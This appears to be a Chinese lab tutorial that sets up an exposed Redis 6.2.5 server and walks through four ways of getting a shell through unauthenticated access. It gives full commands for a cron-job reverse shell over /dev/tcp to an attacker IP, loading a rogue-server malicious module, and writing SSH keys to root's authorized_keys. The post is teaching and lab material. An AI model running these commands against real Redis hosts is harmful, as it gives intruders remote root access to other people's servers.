当前位置: 首页 > news >正文

redis未授权getshell四种方式

一.靶场搭建

1.1redis高版本会有一些限制(需要特殊的配置,较为麻烦),所以我们这里利用的是较低版本的redis。

命令如下,下载,解压,进入redis-6.2.5,解析
  • wget https://download.redis.io/releases/redis-6.2.5.tar.gz

  • tar xzf redis-6.2.5.tar.gz

  • cd redis-6.2.5

  • make

出现以下信息即为解析成功

1.2搭建 redis 未授权访问漏洞靶场

1.2.1redis 启动命令:

cd src
./redis-server

出现以下错误,说明我们的6379端口被占用,发现docker映射中占用着6379端口,终止,重新启动redis

成功启动,如这个图所示

1.2.2 修改配置文件

我们需要修改相关配置文件,文件位置为“/root/redis-6.2.5/redis.conf”。去掉ip绑定,允许除本地外的主机远程登录redis服务,关闭保护模式,允许远程连接redis服务。

cd /root/redis-6.2.5

修改前,在红框处进行修改。

修改后

1.2.3重启redis服务,并指定相关的conf文件,这样我们修改的东西才会生效。

./redis-server /root/redis-6.2.5/redis.conf

二.靶场攻击

2.1未授权访问

2.1.1

前提条件

低版本或者enable-protected-config yes

知道网站绝对路径,并且需要增删改查权限

获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

root启动redis

redis弱密码或者无密码

2.2计划任务,命令如下

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机的ip/端口 0>&1\n\n"

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.182.130/66 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

写入成功,这儿我写错了,应该写攻击机的ip与端口,开启监听之后,等待反弹就行了

到靶机上查看,计划任务写入成功,我们试试编辑root,将里面的ip与端口改成我们的ip试试看,不行。

攻击机开启nc监听,等待反弹shell,其他人的成功效果

2.3主从复制

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

使用相关脚本(项目地址为GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!)

python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so

接下来vps开启监听,最终成功获取反弹shell

2.4写入公钥

首先,我们需要获取攻击机的公钥(id_rsa.pub),保存为txt文件,并检查相关公钥,显示无异常

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rsakey.txt
cat rsakey.txt

写入本地公钥至目标靶机

redis-cli -h 49.232.30.123 #连接靶标
config set dir /root/.ssh/  #设置目录
config set dbfilename authorized_keys  #设置文件名
config get dir #检查设置的目录
config get dbfilename #检查设置的文件名
set xz "\n\n\n 你的id_rsa.pub \n\n\n" #写入公钥
save #保存

直接进行ssh连接,登陆成功

ssh  -i  /root/.ssh/id_rsa  root@ip地址

http://www.lryc.cn/news/602938.html

相关文章:

  • Ubuntu24安装MariaDB/MySQL后不知道root密码如何解决
  • 基于STM32设计的智慧果园云监测系统_256
  • 基于Uniapp及Spring Boot的奢侈品二手交易平台的设计与实现/基于微信小程序的二手交易系统
  • linux安装zsh,oh-my-zsh,配置zsh主题及插件的方法
  • 机器学习基础-numpy
  • OpenMP 并行编程核心机制详解:从变量作用域到同步优化
  • SwinTransformer改进(14):集成MLCA注意力机制的Swin Transformer模型
  • Linux DNS解析2 -- 网关DNS代理的作用
  • 如何实现安卓端与苹果端互通的多种方案
  • unisS5800XP-G交换机配置命令之端口篇
  • 【安卓笔记】OOM与内存优化
  • React Router v6 核心组件
  • Linux进程概念(五)进程地址空间
  • 吃透 lambda 表达式(匿名函数)
  • 关闭 UniGetUI 自动 Pip 更新,有效避免 Anaconda 环境冲突教程
  • 3.DRF视图和路由
  • sqlite3学习---基础知识、增删改查和排序和限制、打开执行关闭函数
  • SpringBoot数学实例:高等数学实战
  • (二)Eshop(RabbitMQ手动)
  • 【计算机网络】OSI七层模型
  • Qt项目中使用 FieldManager 实现多进程间的字段数据管理
  • EXCEL怎么使用数据透视表批量生成工作表
  • 十七、K8s 可观测性:全链路追踪
  • django 按照外键排序
  • 未授权访问
  • 项目如何按时交付?重点关注的几点
  • 进程间通信————system V 共享内存
  • Python day27
  • 在rsync + inotify方案中,如何解决海量小文件同步效率问题?
  • 从视觉到智能:RTSP|RTMP推拉流模块如何助力“边缘AI系统”的闭环协同?